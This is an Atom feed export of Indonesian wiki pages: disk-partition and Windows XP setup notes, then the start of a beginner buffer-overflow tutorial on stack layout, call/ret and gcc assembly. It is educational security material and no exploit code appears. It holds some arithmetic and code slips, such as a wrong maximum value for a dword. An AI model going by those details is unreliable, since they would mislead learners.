 adalah 2 entri di MBR, 1 entri FAT32 untuk Windows, satunya&lt;br /&gt;
 lagi EP (yang kemudian dibagi lagi menjadi 1 atau 2 virtual&lt;br /&gt;
 drive) sehingga terdapat drive C, D dan E.&lt;br /&gt;
 Diatas itu bukan salah nulis: dibagi 1 :).&lt;br /&gt;
 &lt;br /&gt;
 DOS akan mengenali partisi pertama *yang diset-Aktif* di Hard-&lt;br /&gt;
 Disk pertama sebagai drive C:, jika terdapat lebih dari satu&lt;br /&gt;
 Hard-Disk, maka partisi pertama di Hard-Disk kedua menjadi&lt;br /&gt;
 drive D:, Hard-Disk ketiga sebagai E: dan selanjutnya, kemudian&lt;br /&gt;
 balik lagi ke Hard-Disk pertama dan dienumerasi seluruhnya&lt;br /&gt;
 mis. drive F:, G:, H: dan I: (4 drive di EP), kemudian ke&lt;br /&gt;
 Hard-Disk kedua, ketiga dst. (lihat Custom Windows XP Setup)&lt;br /&gt;
 &lt;br /&gt;
 Kebanyakan Sistem Operasi DOS/NTFS/HPFS etc. meminta&lt;br /&gt;
 sedikitnya 1 entri di MBR, FreeBSD (standardnya) 2 entri,&lt;br /&gt;
 sementara Linux (EXT2FS), bisa ditempatkan di mana saja&lt;br /&gt;
 pada virtual drive EP.&lt;br /&gt;
 &lt;br /&gt;
 Perlu diperhatikan juga bahwa Partisi DOS, NT dan Linux&lt;br /&gt;
 *harus* ditempatkan dibawah limit 8G (1024 cylinder) agar&lt;br /&gt;
 bisa melakukan booting. Linux bisa mengatasinya dengan Loadlin.&lt;br /&gt;
 Batasan untuk OS lama malah lebih kecil, yaitu sekitar 2 GB.&lt;br /&gt;
 &lt;br /&gt;
 Meskipun terdapat beberapa *fancy* OS manager di pasaran,&lt;br /&gt;
 saya tidak menyarankan (discouraging) kepada anda untuk memakainya,&lt;br /&gt;
 lebih baik menggunakan standar MBR yang diberikan OS tersebut.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 semoga bermanfaat,&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Windows XP Custom Setup&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; Copyright 2003-2007, Adrian H and Ray AF&lt;br /&gt;
 ; PT SoftIndo - Jakarta, Technical Documentation&lt;br /&gt;
 ; http://www.softindo.net&lt;br /&gt;
 ; All rights reserved&lt;br /&gt;
 ;&lt;br /&gt;
 ; Last revision: 20070505&lt;br /&gt;
 &lt;br /&gt;
 [Data]&lt;br /&gt;
 AutoPartition=1&lt;br /&gt;
 MSDOSInitiated=1&lt;br /&gt;
 UnattendedInstall=No&lt;br /&gt;
 OriSrc=H:\OS\WINXPSP2\I386&lt;br /&gt;
 OriTyp=3&lt;br /&gt;
 Floppyless=1&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; To install XP *exactly* in the specific drive, we should set AutoPartition=1&lt;br /&gt;
 ; in WINNT.SIF or unattended-file answer&lt;br /&gt;
 ;&lt;br /&gt;
 ; Then we have to manipulates partitions (be extremely careful!) as necessary&lt;br /&gt;
 ; until setup finds that *the only* available/vacant partition is the one which&lt;br /&gt;
 ; we want the System to be reside on.&lt;br /&gt;
 ;&lt;br /&gt;
 ; for example, given the partition layout below&lt;br /&gt;
 ;&lt;br /&gt;
 :         par1      par2     par4 (extended partition)                    par3&lt;br /&gt;
 ;        -------   ------   ------------------------------------------   ------&lt;br /&gt;
 ;       [ C:    ] [      ] [ E:    | F:    | G:      |      | H:      ] [      ]&lt;br /&gt;
 ; DIKS1 [ FAT16 ] [ UFS1 ] [ FAT32 | FAT32 | FAT32   | Ext2 | FAT32   ] [ UFS2 ]&lt;br /&gt;
 ;                   L:                                 N:                 M:&lt;br /&gt;
 ;&lt;br /&gt;
 ;       [ D:    ] [      ] [ I:    | J:    |         |      | hidden  ] [      ]&lt;br /&gt;
 ; DISK2 [ FAT32 ] [ Ext3 ] [ FAT32 | FAT32 | *empty* | Swap | NTFS    ] [ UFS3 ]&lt;br /&gt;
 ;                   O:                        (S:)     Q:     R:          P:&lt;br /&gt;
 ;&lt;br /&gt;
 ; XP will be installed in *empty* space as drive S:&lt;br /&gt;
 ;&lt;br /&gt;
 ;&lt;br /&gt;
 ; Drive letter assignment rule:&lt;br /&gt;
 ;&lt;br /&gt;
 ; - first, XP setup will enumerate all recognized partition types (FAT16,&lt;br /&gt;
 ;   FAT32 and NTFS) starting from drive letter C by order as follows:&lt;br /&gt;
 ;   1. the first active partitions on all physical disks starting from&lt;br /&gt;
 ;      disk0 (hardware assigned: IDE0,IDE1.., vertically)&lt;br /&gt;
 ;   2. the rest of drive letters, if any, on each physical disk starting&lt;br /&gt;
 ;      from disk0 (horizontally first)&lt;br /&gt;
 ;&lt;br /&gt;
 ; - then any unknown partitions will be given drive-ID according to the&lt;br /&gt;
 ;   second pattern above (enumerating horizontally first on one physical&lt;br /&gt;
 ;   disk before go to the next disk), also the primary partitions here&lt;br /&gt;
 ;   will get the first order/precedence before extended partition.&lt;br /&gt;
 ;&lt;br /&gt;
 ;   important! When switching from known to unknown partitions enumeration,&lt;br /&gt;
 ;   the drive letter will be skipped by one.&lt;br /&gt;
 ;   (in above example, drive K: is missing)&lt;br /&gt;
 ;&lt;br /&gt;
 ;&lt;br /&gt;
 ; Originally, XP Setup will automatically install the operating system on&lt;br /&gt;
 ; the temp drive or any of first drive it found which have available space&lt;br /&gt;
 ; for operating system.&lt;br /&gt;
 ;&lt;br /&gt;
 ; To avoid XP setup for installing the operating system in a specific drive&lt;br /&gt;
 ; (which have plenty space on it), we should hide its partition by change&lt;br /&gt;
 ; the partition-ID on its respective partition table to anything unrecognizable&lt;br /&gt;
 ; by setup (such as A5=FreeBSD or 82=Linux Swap). Although XP setup knew&lt;br /&gt;
 ; if one partition actually has FAT/NTFS (since it look at the boot sector),&lt;br /&gt;
 ; it will not install the operating system there.&lt;br /&gt;
 ;&lt;br /&gt;
 ; If by one or the other reason some drives could not be hidden, as it did&lt;br /&gt;
 ; with boot drive (C:), the simplest solution is by making some dummy files&lt;br /&gt;
 ; to fill the space up until some limit which XP Setup refused to put the&lt;br /&gt;
 ; operating system in on the drive (check out the accompanying utility:&lt;br /&gt;
 ; FILLER.COM for fast creating dummy files).&lt;br /&gt;
 ; We could also resize the partition size by using some tools such as&lt;br /&gt;
 ; Symantec&#039;s Partition Magic, just remember that apart from its cumbersome&lt;br /&gt;
 ; and danger, it will also left some empty space on the disk (which might&lt;br /&gt;
 ; or might not be expected).&lt;br /&gt;
 ;&lt;br /&gt;
 ;&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Buffer_Overflow&amp;diff=4682</id>
		<title>Buffer Overflow</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Buffer_Overflow&amp;diff=4682"/>
		<updated>2008-07-31T21:28:15Z</updated>

		<summary type="html">&lt;p&gt;Aa: New page:  1. Pendahuluan    Salah satu jenis vulnerability klasik yang hingga saat ini masih  saja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya  akan berusaha menjelaskan apa dan bag...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; 1. Pendahuluan&lt;br /&gt;
 &lt;br /&gt;
 Salah satu jenis vulnerability klasik yang hingga saat ini masih&lt;br /&gt;
 saja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya&lt;br /&gt;
 akan berusaha menjelaskan apa dan bagaimana BO terjadi dengan&lt;br /&gt;
 cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target&lt;br /&gt;
 audiens pemula sekalipun.&lt;br /&gt;
 &lt;br /&gt;
 Prinsip dasar BO sebenarnya sederhana saja yaitu: mengalihkan&lt;br /&gt;
 alur program (tentu saja untuk mengarahkannya ke program/code&lt;br /&gt;
 yang kita buat sendiri :)).&lt;br /&gt;
 &lt;br /&gt;
 Hal itu bisa terjadi akibat data yang diinputkan oleh user&lt;br /&gt;
 melebihi kapasitas tampung (buffer) yang disediakan oleh program.&lt;br /&gt;
 Jika program tidak menghandel kejadian ini dengan baik, luapan&lt;br /&gt;
 data tadi akan menimpa bagian-bagian penting lainnya dari&lt;br /&gt;
 program.&lt;br /&gt;
 &lt;br /&gt;
 Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga&lt;br /&gt;
 sebenarnya adalah sebuah program yang melakukan apa yang kita&lt;br /&gt;
 inginkan.&lt;br /&gt;
 &lt;br /&gt;
 Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu&lt;br /&gt;
 mengenal bagaimana organisasi memori ketika program berjalan,&lt;br /&gt;
 terutama bagian STACK yang merupakan target utama exploit BO,&lt;br /&gt;
 selain itu juga kita perlu mengerti detail mekanisme pemanggilan&lt;br /&gt;
 fungsi/procedure dalam C. Pengetahuan tentang assembler dan&lt;br /&gt;
 debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi&lt;br /&gt;
 tenang saja, OK? :).&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 2. Dasar Teori&lt;br /&gt;
 &lt;br /&gt;
 2.1. Memori &amp;amp; addressing&lt;br /&gt;
 &lt;br /&gt;
 Sebenarnya komputer yang kita anggap canggih ini cuma sederetan&lt;br /&gt;
 data (yang disimpan di memori komputer).&lt;br /&gt;
 &lt;br /&gt;
 gambar-2.1a.&lt;br /&gt;
 &lt;br /&gt;
   |-----------------------/ /-----------------------------| &lt;br /&gt;
   | | | | | | | | | | | | / / | | | | | | | | | | | | | | | &lt;br /&gt;
   |-----------------------/ /-----------------------------| &lt;br /&gt;
   0000                                                     4G&lt;br /&gt;
   Bottom                                                  Top&lt;br /&gt;
 &lt;br /&gt;
 Ya, tidak lebih dari itu.&lt;br /&gt;
 &lt;br /&gt;
 Atau begini...&lt;br /&gt;
 &lt;br /&gt;
 gambar-2.1b.&lt;br /&gt;
 &lt;br /&gt;
   |----| 4G / Top&lt;br /&gt;
   |----|&lt;br /&gt;
   |----|&lt;br /&gt;
   |----|&lt;br /&gt;
   |----|&lt;br /&gt;
   /    /&lt;br /&gt;
   |----|&lt;br /&gt;
   |----|&lt;br /&gt;
   |----|&lt;br /&gt;
   |----|&lt;br /&gt;
   |----| 0000 / Bottom&lt;br /&gt;
 &lt;br /&gt;
 Setiap byte dari memori itu dinomori, supaya mudah mencarinya&lt;br /&gt;
 Begitulah addressing dilakukan, mudah sekali bukan?&lt;br /&gt;
 &lt;br /&gt;
 Setiap byte memori diatas tadi mampu menampung data sebesar...&lt;br /&gt;
 ya 1 byte :). atau disebut juga 1 character, karena kalau kita&lt;br /&gt;
 ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan&lt;br /&gt;
 itu sih sebabnya, tapi anggap saja begitu deh).&lt;br /&gt;
 &lt;br /&gt;
 1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya&lt;br /&gt;
 diisi berapa. tapi tidak mungkin diluar itu karena kemampuan&lt;br /&gt;
 seorang byte hanyalah segitu.&lt;br /&gt;
 &lt;br /&gt;
 sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer.&lt;br /&gt;
 masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah,&lt;br /&gt;
 kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama&lt;br /&gt;
 mereka bisa menyatakan 256 nilai yang berbeda. Umumnya&lt;br /&gt;
 dinyatakan dalam bilangan hexa 00 s.d. FF.&lt;br /&gt;
  &lt;br /&gt;
 1 word artinya 2 byte. 1 dword = 2 word = 4 byte.&lt;br /&gt;
 &lt;br /&gt;
 Jadi misalnya, kalau kita mengambil data 1 dword dari alamat&lt;br /&gt;
 memori 1000, maka kita akan diberi segumpal data dari 1000, 1001,&lt;br /&gt;
 1002 dan 1003.&lt;br /&gt;
 &lt;br /&gt;
 Persis seperti peribahasa, bersatu kita teguh, bercerai kawin&lt;br /&gt;
 lagi, kapasitas representasi biner meningkat secara eksponensial&lt;br /&gt;
 jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu&lt;br /&gt;
 menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya&lt;br /&gt;
 kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on..&lt;br /&gt;
 and on..&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 2.2. Program Execution&lt;br /&gt;
 &lt;br /&gt;
 Pada saat program di-load ke memori, susunan bagian-bagiannya&lt;br /&gt;
 adalah seperti gambar dibawah ini, (cat. angka-angka address di&lt;br /&gt;
 sini hanya untuk keperluan visualisasi saja):&lt;br /&gt;
 &lt;br /&gt;
 gambar-2.2.&lt;br /&gt;
 ______________________________________________&lt;br /&gt;
      |                             |&lt;br /&gt;
      | TEXT/     DATA      STACK   | HEAP&lt;br /&gt;
      | CODE                        | &lt;br /&gt;
 _____|_____________________________|__________&lt;br /&gt;
 0000 | 0100      0500      0800    | 1000&lt;br /&gt;
      |                             |&lt;br /&gt;
      *-------program victim--------*&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 TEXT/CODE adalah tempat instruksi program berada, bagian ini&lt;br /&gt;
 umumnya bersifat read-only, setiap usaha untuk merubahnya akan&lt;br /&gt;
 berakhir di segmentation violaton.&lt;br /&gt;
 &lt;br /&gt;
 DATA berisi data konstan, variable statik dll initialized/&lt;br /&gt;
 uninitialized data, kecuali terjadi stress yang menyebabkan&lt;br /&gt;
 reorganisasi memori, ukurannya relatif tetap, meskipun tidak&lt;br /&gt;
 read-only seperti bagian TEXT.&lt;br /&gt;
 &lt;br /&gt;
 STACK tempat menampung tumpukan data sementara, dengan operasi&lt;br /&gt;
 khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP&lt;br /&gt;
 untuk mengambil data dari atas tumpukan. seperti itulah caranya,&lt;br /&gt;
 jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari&lt;br /&gt;
 tengah.&lt;br /&gt;
 &lt;br /&gt;
 HEAP adalah daerah memori yang bebas digunakan oleh program.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 2.3. Operasi Stack&lt;br /&gt;
 &lt;br /&gt;
 Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau&lt;br /&gt;
 mengambil tumpukan paling atas dari stack (atau paling bawah&lt;br /&gt;
 tergantung bagaimana anda memandangnya :))&lt;br /&gt;
 &lt;br /&gt;
 Cuma 3 register yang terkait erat dalam operasi stack ini yaitu&lt;br /&gt;
 Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP),&lt;br /&gt;
 kita tidak usah pedulikan segmen register, itu urusan kernel&lt;br /&gt;
 (kecuali kalau kita mau buat program di DOS dengan model&lt;br /&gt;
 segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP .&lt;br /&gt;
 keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP&lt;br /&gt;
 naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah&lt;br /&gt;
 mau kita isi berapa atau bahkan tidak dipakai sama sekali juga&lt;br /&gt;
 tidak apa-apa.&lt;br /&gt;
 &lt;br /&gt;
 lho jadi apanya yang sulit?&lt;br /&gt;
 ya tidak ada.&lt;br /&gt;
 &lt;br /&gt;
 perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit,&lt;br /&gt;
 atau operasi khusus push all/pop all. SP berkurang/ bertambah&lt;br /&gt;
 sesuai tipe data ini (sejumlah byte yang diperlukan untuk&lt;br /&gt;
 menampung data tsb).&lt;br /&gt;
 &lt;br /&gt;
 push 16bit_data, SP berkurang 2&lt;br /&gt;
 push 32bit_data, SP berkurang 4 &lt;br /&gt;
 pusha, SP berkurang 16&lt;br /&gt;
 pushad, SP berkurang 32&lt;br /&gt;
 &lt;br /&gt;
 misalnya nilai SP pertama adalah 0100,&lt;br /&gt;
 &lt;br /&gt;
   char C;	//character (1 byte)&lt;br /&gt;
   short I;	//integer (2 byte)&lt;br /&gt;
   long L;	//long integer (4 byte)&lt;br /&gt;
   int * P;	//pointer (4 byte)&lt;br /&gt;
 &lt;br /&gt;
 lalu kita melakukan perintah sbb:&lt;br /&gt;
 &lt;br /&gt;
   push C&lt;br /&gt;
   push I&lt;br /&gt;
   push L&lt;br /&gt;
   push P&lt;br /&gt;
 &lt;br /&gt;
 maka SP akan menjadi: 100-(2+2+2+4+4) = 88&lt;br /&gt;
 &lt;br /&gt;
 gambar-2.3a.&lt;br /&gt;
 ____//_____________________________________&lt;br /&gt;
     //                   |   |   | | |&lt;br /&gt;
     //                   | P | L |I|C|&lt;br /&gt;
 ____//___________________|___|___|_|_|_____&lt;br /&gt;
     //                   |           |&lt;br /&gt;
 000                      88          100&lt;br /&gt;
 &lt;br /&gt;
 mestinya begitu :)&lt;br /&gt;
 tapi atas nama optimasi, tampaknya gcc tidak perduli mau char&lt;br /&gt;
 kek, integer kek atau pointer, semua sama di-push sebagai tipe&lt;br /&gt;
 data 32bit. untuk kita sih ya oke-oke aja, malah tidak&lt;br /&gt;
 repot-repot ngitungnya kan?&lt;br /&gt;
 &lt;br /&gt;
 jadi SP = 100 - (4*4) = 84&lt;br /&gt;
 &lt;br /&gt;
 gambar-2.3b.&lt;br /&gt;
 ____//_____________________________________&lt;br /&gt;
     //               |   |   |   |   |&lt;br /&gt;
     //               | P | L | I | C |&lt;br /&gt;
 ____//_______________|___|___|___|___|_____&lt;br /&gt;
     //               |   88  92  96  |&lt;br /&gt;
 000                  84              100&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 2.4. Stack dan Instruction Pointer (IP)&lt;br /&gt;
 &lt;br /&gt;
 Satu hal yang penting adalah bahwa (operasi) stack juga digunakan&lt;br /&gt;
 untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah&lt;br /&gt;
 bagi program (seperti nomor baris perintah dalam BASIC) coba&lt;br /&gt;
 perhatikan cuplikan kode &#039;canggih&#039; ini.&lt;br /&gt;
 &lt;br /&gt;
 IP  CODE&lt;br /&gt;
 --- --------&lt;br /&gt;
 .&lt;br /&gt;
 .&lt;br /&gt;
 100 GOTO 200&lt;br /&gt;
 200 GOTO 100&lt;br /&gt;
 .&lt;br /&gt;
 .&lt;br /&gt;
 &lt;br /&gt;
 Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan&lt;br /&gt;
 menghentikan derita tanpa akhir, endless loop dari GOTO diatas.&lt;br /&gt;
 &lt;br /&gt;
 Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup&lt;br /&gt;
 program, &#039;cool&#039; kan? :)&lt;br /&gt;
 &lt;br /&gt;
 Kita tidak bisa menyimpan atau mengambil IP langsung dengan&lt;br /&gt;
 push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:&lt;br /&gt;
 &lt;br /&gt;
   call func&lt;br /&gt;
 &lt;br /&gt;
 adalah ekuivalen dengan:&lt;br /&gt;
 &lt;br /&gt;
   PUSH next_IP to STACK&lt;br /&gt;
   JMP to address_func&lt;br /&gt;
 &lt;br /&gt;
 next_IP tidak lain adalah lokasi selanjutnya (di memori) dari&lt;br /&gt;
 kode instruksi pemanggilan tersebut.&lt;br /&gt;
 &lt;br /&gt;
 Sebaliknya instruksi RET akan membuat program menuju alamat yang&lt;br /&gt;
 disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat&lt;br /&gt;
 dalam tumpukan stack paling atas).&lt;br /&gt;
 &lt;br /&gt;
   POP STACK to temp&lt;br /&gt;
   JMP to temp&lt;br /&gt;
 &lt;br /&gt;
 Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP,&lt;br /&gt;
 tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL&lt;br /&gt;
 FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting&lt;br /&gt;
 karena biasanya model pemanggilan di UNIX selalu RETF.&lt;br /&gt;
 &lt;br /&gt;
 Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan&lt;br /&gt;
 nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia&lt;br /&gt;
 harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau&lt;br /&gt;
 tidak nanti bisa digampar kernel, kill(1).&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 2.5. Pemanggilan fungsi&lt;br /&gt;
 &lt;br /&gt;
 Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu&lt;br /&gt;
 ketika melakukan pemanggilan fungsi yang berkaitan dengan&lt;br /&gt;
 bagaimana cara High Level Language (HLL, seperti BASIC, C/C++,&lt;br /&gt;
 Pascal, dll.) mengirmkan parameter/argumen.&lt;br /&gt;
 &lt;br /&gt;
 Dalam C/C++ parameter didorong ke dalam stack, mulai dari ujung&lt;br /&gt;
 (dari param terakhir sesuai syntax), berturut-turut sampai ke&lt;br /&gt;
 param pertama), selanjutnya prosedur pemanggil juga bertanggung&lt;br /&gt;
 jawab untuk meng-offset nilai SP lagi setelah fungsi kembali&lt;br /&gt;
 (sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal&lt;br /&gt;
 yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).&lt;br /&gt;
 &lt;br /&gt;
 prototype:&lt;br /&gt;
   void func(int a, int b, int c);&lt;br /&gt;
 &lt;br /&gt;
 pemanggilan fungsi:&lt;br /&gt;
   func(19,09,1969);&lt;br /&gt;
  &lt;br /&gt;
 pemanggilan fungsi dalam assembler:&lt;br /&gt;
 &lt;br /&gt;
   pushl $1969	; c&lt;br /&gt;
   pushl $9	; b&lt;br /&gt;
   pushl $19	; a&lt;br /&gt;
   call func	; sama dengan PUSH next_IP, JMP func&lt;br /&gt;
 &lt;br /&gt;
   addl $12,%esp	; pada Pascal, fungsi yang dipanggil&lt;br /&gt;
 		; yang akan melakukan penyesuaian ini&lt;br /&gt;
 &lt;br /&gt;
 Karena optimisasi program, nilai yang ditumpuk ke stack berupa&lt;br /&gt;
 kelipatan 16, sehingga transalasinya menjadi:&lt;br /&gt;
 &lt;br /&gt;
   addl $-4,%esp	; penyesuaian awal, offset penala stack&lt;br /&gt;
 &lt;br /&gt;
   pushl $1969	; c&lt;br /&gt;
   pushl $9	; b&lt;br /&gt;
   pushl $19	; a&lt;br /&gt;
   call func	; sama dengan PUSH next_IP, JMP func&lt;br /&gt;
 &lt;br /&gt;
   addl $16,%esp	; penala stack dengan alignment 16&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog.&lt;br /&gt;
 Sesuai namanya prolog terjadi pada awal fungsi:&lt;br /&gt;
 &lt;br /&gt;
  pushl %ebp	; BP disimpan ke stack&lt;br /&gt;
  movl %esp,%ebp	; BP disamakan nilainya dengan SP&lt;br /&gt;
 &lt;br /&gt;
 jika terjadi operasi stack, misalnya memanggil fungsi lain yang&lt;br /&gt;
 menggunakan parameter, stack alignment 16 dilakukan dengan&lt;br /&gt;
 mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call&lt;br /&gt;
 sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push&lt;br /&gt;
 BP juga telah mengurangi SP sebesar 4.&lt;br /&gt;
 &lt;br /&gt;
  subl 8,%esp	; &amp;gt;prologue_set_stack_ptr&lt;br /&gt;
 &lt;br /&gt;
 dan epilog terjadi di akhir (sebelum instruksi &amp;quot;ret&amp;quot;):&lt;br /&gt;
 &lt;br /&gt;
  movl %ebp,%esp	; SP disamakan nilainya dengan BP &lt;br /&gt;
  popl %ebp	; Nilai BP diambil dari stack&lt;br /&gt;
 &lt;br /&gt;
 atau disingkat:&lt;br /&gt;
 &lt;br /&gt;
   leave		; sama saja dengan gabungan dua instruksi&lt;br /&gt;
 		; diatas, cuma lebih lambrat ;(&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 3. Aplikasi&lt;br /&gt;
 &lt;br /&gt;
 3.1. Studi Program&lt;br /&gt;
 &lt;br /&gt;
 Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf&lt;br /&gt;
 saja kalau sedikit berbeda, dengan pengantar yang sudah saya&lt;br /&gt;
 jelaskan diatas, mohon disesuaikan sendiri :)&lt;br /&gt;
 &lt;br /&gt;
 pertama kita lihat output dari program sederhana ini&lt;br /&gt;
 &lt;br /&gt;
 contoh0.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 void func0() {&lt;br /&gt;
   /* nothing to do */&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
   func0;&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 [aa]$gcc -S -dp contoh0.c&lt;br /&gt;
 option -S adalah untuk membuat listing code assembly, sedangkan&lt;br /&gt;
 option -dp menambahken keterangan tambahan dalam listing tsb.&lt;br /&gt;
 &lt;br /&gt;
 kita lihat listing assembly-nya dari file contoh0.s sbb:&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
         .file   &amp;quot;contoh0.c.c&amp;quot;&lt;br /&gt;
         .version        &amp;quot;01.01&amp;quot;&lt;br /&gt;
 gcc2_compiled.:&lt;br /&gt;
 .text&lt;br /&gt;
         .p2align 2,0x90&lt;br /&gt;
 .globl func0&lt;br /&gt;
                 .type            func0,@function&lt;br /&gt;
 func0:&lt;br /&gt;
         pushl %ebp      # 9     movsi-2&lt;br /&gt;
         movl %esp,%ebp  # 11    movsi+2/1&lt;br /&gt;
 .L2:&lt;br /&gt;
         leave   # 14    leave&lt;br /&gt;
         ret     # 15    return_internal&lt;br /&gt;
 .Lfe1:&lt;br /&gt;
                 .size            func0,.Lfe1-func0&lt;br /&gt;
         .p2align 2,0x90&lt;br /&gt;
 .globl main&lt;br /&gt;
                 .type            main,@function&lt;br /&gt;
 main:&lt;br /&gt;
         pushl %ebp      # 12    movsi-2&lt;br /&gt;
         movl %esp,%ebp  # 14    movsi+2/1&lt;br /&gt;
 .L3:&lt;br /&gt;
         leave   # 17    leave&lt;br /&gt;
         ret     # 18    return_internal&lt;br /&gt;
 .Lfe2:&lt;br /&gt;
                 .size            main,.Lfe2-main&lt;br /&gt;
         .ident  &amp;quot;GCC: (GNU) c 2.95.4 20020320 [FreeBSD]&amp;quot;&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Dibawah label func0 dan main, kita peroleh hasil yang sama&lt;br /&gt;
 &lt;br /&gt;
 prolog:&lt;br /&gt;
   pushl %ebp&lt;br /&gt;
   movl %esp,%ebp&lt;br /&gt;
 &lt;br /&gt;
 epilog:&lt;br /&gt;
   leave&lt;br /&gt;
   ret&lt;br /&gt;
 &lt;br /&gt;
 Program ini memang tidak melakukan apa-apa, cuma untuk&lt;br /&gt;
 menunjukkan fungsi prolog dan epilog. program ini juga&lt;br /&gt;
 menunjukkan bahwa fungsi main() diperlakukan sama saja dengan&lt;br /&gt;
 fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi&lt;br /&gt;
 pertama yang dipanggil.&lt;br /&gt;
 &lt;br /&gt;
 Selanjutnya supaya tidak &#039;ribet&#039;, hasil program akan diekstrak&lt;br /&gt;
 lebih sederhana seperti format diatas, dan kompilasi dilakukan&lt;br /&gt;
 tanpa menggunakan option &amp;quot;-dp&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 jika kita tambahkan result pada fungsi main() tadi sbb:&lt;br /&gt;
 &lt;br /&gt;
 contoh0.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 void func0() {&lt;br /&gt;
   /* nothing to do */&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
   func0;&lt;br /&gt;
   return(1); /* return code */&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 kita lihat dari listing dibawah, ternyata nilai pengembalian akan&lt;br /&gt;
 disimpan di register EAX, dan setelah itu fungsi/program akan&lt;br /&gt;
 langsung dihentikan/keluar.&lt;br /&gt;
 &lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 main:&lt;br /&gt;
   pushl %ebp		; &amp;gt;prolog&lt;br /&gt;
   movl %esp,%ebp	; &amp;gt;&lt;br /&gt;
 &lt;br /&gt;
   movl $1,%eax		; return value = 1&lt;br /&gt;
   jmp .L3		; program langsung menuju epilog&lt;br /&gt;
 &lt;br /&gt;
 .L3:&lt;br /&gt;
   leave			; &amp;gt;epilog&lt;br /&gt;
   ret			; &amp;gt;&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Jika kita tambah beberapa fungsi lain yang menggunakan parameter&lt;br /&gt;
 misalnya menjadi seperti contoh1.c dibawah ini:&lt;br /&gt;
 &lt;br /&gt;
 contoh1.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 void func0() { }&lt;br /&gt;
 void func1(int I) { }&lt;br /&gt;
 void func2(int I, long L) { }&lt;br /&gt;
 int  func3(int I, long L, char * c) { }&lt;br /&gt;
 &lt;br /&gt;
 /*&lt;br /&gt;
   int  func_C(char C) { }&lt;br /&gt;
   int  func_CS(char C, short S) { }&lt;br /&gt;
   int  func_CSD(char C, short S, double D) { }&lt;br /&gt;
 */&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
   func0;&lt;br /&gt;
   func1(1);&lt;br /&gt;
   func2(2, 3);&lt;br /&gt;
   func3(4, 5, 6);&lt;br /&gt;
